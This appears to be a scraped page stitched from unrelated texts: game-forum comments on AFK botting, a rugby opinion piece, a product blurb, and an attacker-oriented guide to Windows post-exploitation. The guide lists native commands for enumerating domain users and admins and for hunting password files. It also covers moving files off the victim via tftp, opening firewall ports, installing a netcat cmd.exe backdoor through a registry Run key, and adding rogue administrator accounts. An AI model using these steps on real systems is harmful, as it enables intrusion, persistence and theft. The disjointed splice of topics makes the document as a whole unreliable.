You can measure a raid's skill by the bosses it can defeat. A raid which beats Kael is more skilled than one which wipes to Gruul.
It is a little bit more complicated, because the rewards are gained from repeated killings of the boss, which seems more like time, but you need the initial skill to "unlock" the time-based reward, I guess.

I believe that "I don't understand why we have to report people at all. The game can tell if you are doing something. If you don't do anything for, say, 3 minutes, it should pop up a box that says "Hey, I think you are afk. Are you really there?" And if the user doesn't click "yes" within, say, another minute, then boot them from the battleground immediately." is the best way. If they complain, tell 'em to shut up. It's simple. Follow the rules. There's no way to not see a pop-up box in the middle of the screen if you're sincerely not AFK.
Also, if an AFK botter is reported to a GM, is their account TRULY permanently banned? Because that would suck. And, could they ever get that character back? I agree that AFK botters are stupid, but getting their toon banned forever is quite harsh. Maybe a different penalty could suffice, such as a 12-hour deserter debuff.

If blizz did that, Pplz could simply make a bot click "Yes" by itself, Not a good idea in other words

Often after gaining access to a host an attacker will need to gather information about the host and the network. If you have a VNC or RDP session to the compromised host this is easy enough, however if you only have a DOS prompt this can be slightly more fun. This can be even more challenging if those DOS tools available to you are the ones that are native to the OS on the compromised host.
The purpose of this post is to list a few of the native DOS commands that I find useful to use when i have a DOS prompt on a Windows Host. Please note, these commands have been tested on XP but most will work on Server 2003 and Windows 2000 also.
I have split this post down into the following sections.
- Host Enumeration
- Network Enumeration
- Modification
- Scanning
- Maintaining Access
- Further Exploration
In this section I want to learn as much as I can about the compromised host.
"ipconfig /all" can be used for viewing the IP information on the victim. This is useful as it gives the addresses of DNS servers, Wins servers and the gateway. These are potentially other targets.
Netstat is useful for looking at what ports the victim has open and what connections it is making to other hosts. Although in I have put this inb the host enumeration section the information gained here will be valuable for network enumeration. Netstat can be used with a multitude of switches, each reveal different information. I'll cover the switches I find most useful.
netstat -anbv
This will list all connections,the executables involved in those connections and
To quickly list connections that are active pipe netstat through the find command:
netstat -an | find /i "established"
The net command provides a great deal of information that is of use to an attacker. In particular for host enumeration "net share", "net session", "net use", "net start" and "net stop".
Net Share
net share "net share" can be used for creating new shares and is useful for identifying what folders the victim is already sharing. It will show hidden and non-hidden shares.
net start
net start This will list all services that are started. It will give you an idea of the roll of the victim host and tell you what AV or syslog software is running. services can be stopped using "net stop service_name".
Net Session
net session This is a great command for if you find yourself on a session to a server. It will list all the users that are connected (by username) and the PC names.
Note: if I wanted to quickly obtain the IP Addresses of the connected PC's for a script or something, I might use "nbtstat -S"
Net Accounts
"Net accounts" will list the details of the account policy that is enforced on the host, be it the default one or one pushed down from a domain controller. The information here is very useful as you can see it displays the account lockout policy and the lockout duration etc..net accounts
netsh can be used to dump out info about the network, firewall and connections.
netsh diag show all /v
The output from the above command is very verbose. To identify just the fields that have properties use the /p switch.
If you wanted to view the firewall configuration you could use:
netsh firewall show conf
Or If you want to see the config of the open ports through the firewall you can use the following command:
netsh firewall show port
As you can see the "netsh" command is very powerfull, I'll come back to it in the "Maintaining Access" section later.
If the victim is a member of a domain the the "gpresult" will tell you what groups he and his computer are a member of, which group policies are applied and information about the OS.
Also just typing "set" will display some useful information such as the system variables (logon server, workstation name etc...) and the system paths.
"dir /s" will list all the directories and sub-directories. If you are looking for something in particular such as spreadsheets you can use "dir /s *.xls" or to also include possible password files use "dir /s *.xls password*.*"
dir /s password*
To look for additional tools use the "dir /s *.exe" command from the root directory. The PC may have had Resource Kits installed which often provide some excellent tools. Also dont forget the /a: switch to specify files with special attributes, such as hidden files.
dir /s /a:h
Type can be used to output a file to the screen. used in conjuction with "find" you can look for particular words in files.
type *.* | find /i "bank"
This will identify all network adapters and list connected subnets and routes. It also lists which adapters are which, this can be useful for adjusting settings using the "netsh" command.
route print
Routes can also be modified from the "route" command.
Network Enumeration
If the comprimised host is a connected to a network the commands listed below will help enumerate that network.
"net view" is great for network enumeration.
"net view" will list all the hosts on the compromised hosts domain. "net view /domain" will list the domains that the compromised host can see. "net view /domain_name" will list the hosts on another domain.
Using the servername or host name will display all the shared resources (shares and printers) on the remote host. This will not show hidden shares though.net view \\servername
net localgroup & net group
"net localgroup /domain" will list all the local groups on the domain. To view the members of a local group insert the groupname. Below are examples of using these commands to view the members of administrative groups and to find a list of all users. To an attacker who wants to compile a user list for password attacks this is critical information
To view the members of a group you can specify the group name.
net localgroup administrators /domain
"net group /domain" will list all the Global groups on the domain. To view the members of a global group insert the groupname.net group /domain
net group "domain admins" /domain
The command above will display the members of the global group "Domain Admins". As shown, I have now located a user in the "Domain Admins" group that I may want to target.
Below is another example of using the net group commands to enumerate all users on the domain.
Another method I have found for enumerating all domain users is using the netsh command. I have found that I can run this on a remote Domain Controller even from an unprivileged account with no local or domain administrative rights.
This will create a text file in the directory the command is run fron and under the "RAS Configuration" section all users will be listed. This output can easily be manipulated to give you a comprehensive user list and if telephone numbers have been configured it will list these also. Interesting!
looking at the arp cache will show you what computers the host has recently communicated with on the network. Then using "net view \\computername" will show you what shares that host has. I'm betting if your looking to hop onto another host and map drives these are good starting points because you host most likely has some level of access.
arp -a
And don't forget ipconfig either for recent connections.
ipconfig /displaydns
After creating a drive mapping to another computer (net use * \\servername\share" and changing to it, if you run the tree command it will list all the directories that you have access to. Another method is to use "dir /s" but tree has lines and it looks funky.
tree /f
An attacker may want to modify data on the compromised host, data such as log files or web pages etc....
There is a good little text editor that has been native to windows for many years called Edit. Edit is an interactive DOS based text editor with some great features.
edit passwords.txt
This is a great tool for whipping up a batch file and saving it on the host in the startup folder. Or for creating username lists and password lists to run with "net use" command in a FOR loop.
An attacker may also attempt to view or edit the logfiles in %systemroot%system32/logfiles
echo can be used to create files or to input values into files.
echo hello > filename.txt
To my knowlegde there are no port scanning tools that are native to XP or Windows 2003. There is one that comes in the resouce kit called portqry.exe so it may be worth a quick seach of the harddisk for that.
So what do we have?
Nbtstat is pretty good, although we can only scan one host at a time it does reveal some useful information.
nbtstat -A 192.168.1.10
This will show listening services on remote machine. Admitedly, it's not a great scanner but it does a bit.
What the key is here is to learn what the codes are for the services. For example some of the codes are listed below. Remember, google is your friend.
If you locate a port that is open and you want to see if you can grab a banner you could use Telnet
telnet ip-address 80
type "get" and return twice
Although this does tell me the port is open and a web server is listening I can get more information by typing "GET / HTTP/1.0" after I have established a telnet connection.
After pressing return a few times you may get the banner revealing what web server version is running.
Telnet is great for enumerating mail servers also. Mail can even be sent using telnet so theres plenty of fun to be had there.
Maintaining Access
If you want to get tools onto the host and you have a TFTP server that you can reach use the "tftp" command.
tftp -i ip-address-of-tftp-server get toolname.exe
Or to upload files from the victim to a remote server use:
tftp -i ip-address-of-tftp-server put filename-to-upload.txt
To allow a program to listen through the firewall:
netsh firewall add allowedprogram C:\nltest.exe mltest enable
To open a port on the firewall:
netsh firewall add portopening tcp 2482 lt enable all
The reg command is useful for both viewing the registry and adding keys to it. Here's how to view the contents of a subkey or add a key. The example below shows how an attacker may add a backdoor to your system
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v listener /d "C:\Windows\System32\nc.exe -p 6666 -L -d -e cmd.exe"
Then I would re-run "reg query" to verify my update.
Now next time the compromised hosts reboots i'll have a remote command shell waiting for me.
So once an attacker is on a victims PC he may want to add an account so he can get back on if the user changes her password. Using the "net" command here's how it would be done using "net user".
net user synjunkie GoodPassword123 /add
Next the account is added to the Administrators group with the "net localgroup" command.
net localgroup Administrators synjunkie /add
On a Server the command an attacker may use to add his user account to an administrative group might be:
net group "domain admins" synjunkie /add
Further Exploration
As we have had a look around the comprimised host and have lookedat what the host is attached to we may want to start looking at whats on other hosts. again we use the "net" command to map drives and explore further.
net use
net view \\w2k3-srv/
net use * \\w2k3-srv/i386
net use
Once a share is found that I can read and write to I might leave a file there that might look intersting to someone "britney and Paris caught in the act.jpg" or "payroll-update.xls". If I can get somone to open such a file maybe I can comprimise their machine and the whole process begins again. It doesn't have to be an admin, as long as the victims have access to the data I want as an attacker thats all I need.

From a regional and provincial perspective the liaison that South Africa should be working is that between France's top four teams, South Africa's six regions and two sides from Argentina. That's the way back to a Super 12 competition that pits strength against strength, has no prejudice when it comes to travel and time zones aren't an issue. Alternatively a Super 14 with six SA, six French and two Argentinean sides. The detail can be refined. The principle doesn't need refining.
South Africa has always been at a disadvantage in Super Rugby. Our teams travel for a month, whereas the most a New Zealand or Australian side travels is three weeks. Occasionally they've done the month trip – and then we've never heard the end of it.
There were years when South African teams played five matches in succession in Australia and New Zealand. It was rugby suicide.
The play-offs have also historically been a disaster because invariably a team has had to travel 12 000 miles to play the final just a week after playing a semi-final.
Our rugby will also be improved with regular contact between France. I'd leave England, Scotland, Wales and Ireland out of the equation, and this way the Heineken Cup retains its European exclusivity and you give the French club owners, in particular, something greater than just a domestic title challenge.
Argentinean domestic rugby would also be the beneficiary.
A competition of this nature logistically is possible.
Super Rugby was never ideal for South Africa's players. Our game has always needed to look more north than south.
We've seen enough of the Aussies and Kiwis on a regional basis. Let's get the French and Argie connection going and let's get the tradition of strength back in our Currie Cup.

The rectangular attachment point (think of a D ring except square rather than round) is designed to accept items with a belt clip, such as a flashlight, multitool, or knife. We're sure you'll find other uses for it as well.
